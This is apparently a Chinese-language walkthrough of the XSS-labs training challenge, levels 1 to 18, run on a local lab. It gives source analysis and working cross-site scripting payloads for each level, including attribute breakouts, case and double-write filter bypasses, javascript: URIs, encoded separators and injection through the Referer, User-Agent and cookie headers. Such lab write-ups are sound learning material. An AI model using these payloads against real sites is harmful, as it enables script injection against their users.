XSS ctfshow xss-libas
XSS
javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行
被过滤,就从以下四个方面入手
- 大小写
- 重复写
- 编码绕过
%0a
、%0d
、``
XSS-labs例题
第一关
1 | http://127.0.0.1/xss/level1.php?name=1 |
看name
这个请求参数,输入的值会改边payload
的长度,利用点就在这里。
可以再去看一眼源代码
而且我们可以看到它将name
的参数值,插入到了<h2>
</h2>
标签之间
那么就很明显,这一关主要就是考察反射型xss
但是由于不知道服务器端对于提交的敏感字符有没有过滤,所以这里直接在name
参数
中赋值一个简单的弹窗来进行测试。
window.location 对象可用于获取当前页面地址(URL)并把浏览器重定向到新页面。
window.location
对象可不带 window
前缀书写。
1 | window.location.href 属性返回当前页面的 URL。 |
所以直接在name
后面输入payload
就行了
1 | http://127.0.0.1/xss/level1.php?name=%3Cscript%3Ealert(1)%3C/script%3E |
源代码分析
可以看到通过$_GET["name"]
获得输入值,没有过滤直接进行输出。在第一个echo
输出的地方,当时选错了,懒得改了。
第二关
来到第二关用上一关的payload
发现不太行
看一下被实体转义了,查看前端代码。
第一处就是显示的地方,这里应该是被做转义了,尝试第二次,先将<input>
闭合,构造payload
为"><script>alert('xss')</script>
,成功弹窗。
源代码分析
PHP htmlspecialchars() 函数
1 | 把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体: |
可以看到<h2>
标签这里对$str
进行了实体化转义.htmlspecialchars()
,所以换一个地方去利用,可以看到<input>
这里并没有过滤就输出了。但是需要闭合一下。
1 | 获取浏览器提交的keyword值,未进行过滤,输出在<input name=keyword value="'.$str.'">。 |
关于payload
1 | "onclick="alert(1)// |
第三关
当使用"><script>alert(1)</script>//
发现不可以,去看一下
发现被转义了。但是默认是不转义单引号的
payload
javascript:这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行
1 | ' onmouseover= 'alert(1) |
源代码分析
对传入的值进行了实体化转义
第四关
直接成功了。。。
源码审计
看了源代码才知道是对<
和>
进行了转义。不过我们没用尖括号。
Payload
1 | "onclick="alert(1) |
第五关
应该有过滤
本来想着用大小写绕过不可以,但是发现
1 | "><script>alert(1)</script> |
源代码分析
就是把<script
替换成scr_ipt
,on
替换成o_n
Payload
1 | "><a href = 'javascript:alert(1)'> |
第六关
这关还是没过滤scrip
和<>
,但是给href
ban了
那就试试能不能绕过
用大小写成功绕过
源代码分析
替换<script 、on、src、data、href关键字,但是都是并没有说对大写替换所以可以直接用大小写绕过
Payload
1 | "ONclick="alert(1) |
第7关
输入on发现被吃了,那就肯定是对关键字替换为空,直接用双写绕过就行
源代码分析
和我们想的没错,就是把关键字替换为空而已,双写绕过就行了。
Payload
1 | "oonnclick = "alert(1) |
第八关
还是有绕过,试了试双写不行,大小写不行。那就编码绕过把
因为它是把我们输入的值直接并入a标签中的链接,所以直接加个编码后的javascript:alert(1)
就可以了
源代码分析
首先可以看到对大写转为小写,然后对关键字进行一系列过滤,最后在和<a href ="">
一起输出出来。
Payload
1 | javascript:alert(1) |
第九关
过滤肯定还是有的,用上一关的payload发现不可以,然后找到一个提示
不合法?那我在后面加一个正确的链接试试
还是不行,试一下http
这下可以了
源代码分析
第一个框的过滤和之前一样,但是多了一个if
判断
strpos()
就是判断该变量有无http://
Payload
1 | javascript:alert(1)//https://baidu.com |
第十关
刚开始我没看见输入框,一个劲儿的在url后面跟,后面看了眼前端发现是给隐藏了。。。
说干就干
源代码分析
接受t_sort
标签的值并且把尖括号替换为空。
Payload
1 | type后 |
第十一关
发现了一个很可疑的地方
标签名叫t_ref
想到了referer
,可以试试在里面插入一下
至于为什么用这个poc
当然是为了闭合,看一眼响应就明白了
源代码分析
获取get
请求的keyword
、t_sort
变量和referer
字段,过滤referer
字段的尖括号后输出在html代码中
payload
1 | "type="text" onclick = "alert(1)// |
第十二关
可以看一下源代码发现
说明我们可以ua头注入,试一下
源代码分析
和上一道差不多
获取get
请求的keyword
、t_sort
变量和UA
字段,过滤UA
字段的尖括号后输出在html代码中
payload
1 | "type="text" onclick = "alert(1)// |
第十三关
不出意外的话就是cookie
了,看一下原本的cookie
添加上POC
就可以了
源码分析
其实和前面几道一样,只不过这次变成了取user
这个cookie
值
Payload
1 | "type="text" onclick = "alert(1)// |
第十四关
地址失效了可以看一这个文章
https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12
不过思路就是上传一个含有xss代码的图片触发xss。
第十五关
可以发现我们传入的数据被插入到了<span>
标签的class
属
性值中,但是前面还有ng-include
这样的字符。
本来想绕过,但是被过滤了
调用本地有xss漏洞的文件,触发xss
ng-include
是angular js
中的东西,其作用相当于php的include函数。这里就
是将1.gif
这个文件给包含进来。
既然此处用了ng-include
指令的话,先了解一下其具体的用法。
1 | ng-include 指令用于包含外部的 HTML文件。 |
特别值得注意的几点如下:
ng-include,如果单纯指定地址,必须要加引号
ng-include,加载外部html,script标签中的内容不执行
ng-include,加载外部html中含有style标签样式可以识别
因为这里参数值算是一个地址,所以需要添加引号。
但是level1.php不是一个php文件吗?
这是因为我们不是单纯的去包含level1.php,而是在后面添加了name参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思。然后尝试一下
构造代码
1 | ?src='level1.php?name=<img src=1 onerror=alert(1)>' |
源代码分析
nginclude
调用采用htmlspecialchars
过滤输入的src
变量
Payload
1 | ?src='level1.php?name=<img src=1 onerror=alert(1)>' |
第十六关
传了一个基础的xss语句发现script、空格、/
都被转换为 
了
使用%0d
%0a
做分割符
源码分析
过滤了script、空格、/,大小写绕过
payload
1 | <img%0Dsrc=1%0Donerror=alert(1)> |
第十七关
两个诸如点哪个都行,可以看到<>、"
被过滤了
用on时间,因为在<embed>
标签里也没有加引号不用闭合
源代码分析
对传入的值进行htmlspecialchars
payload
1 | onmousemove=alert(1) |
第十八关
感觉和上一关区别不大
源码分析
基本上区别不大
payload
1 | arg01=a&arg02=b onmouseout=alert(1) |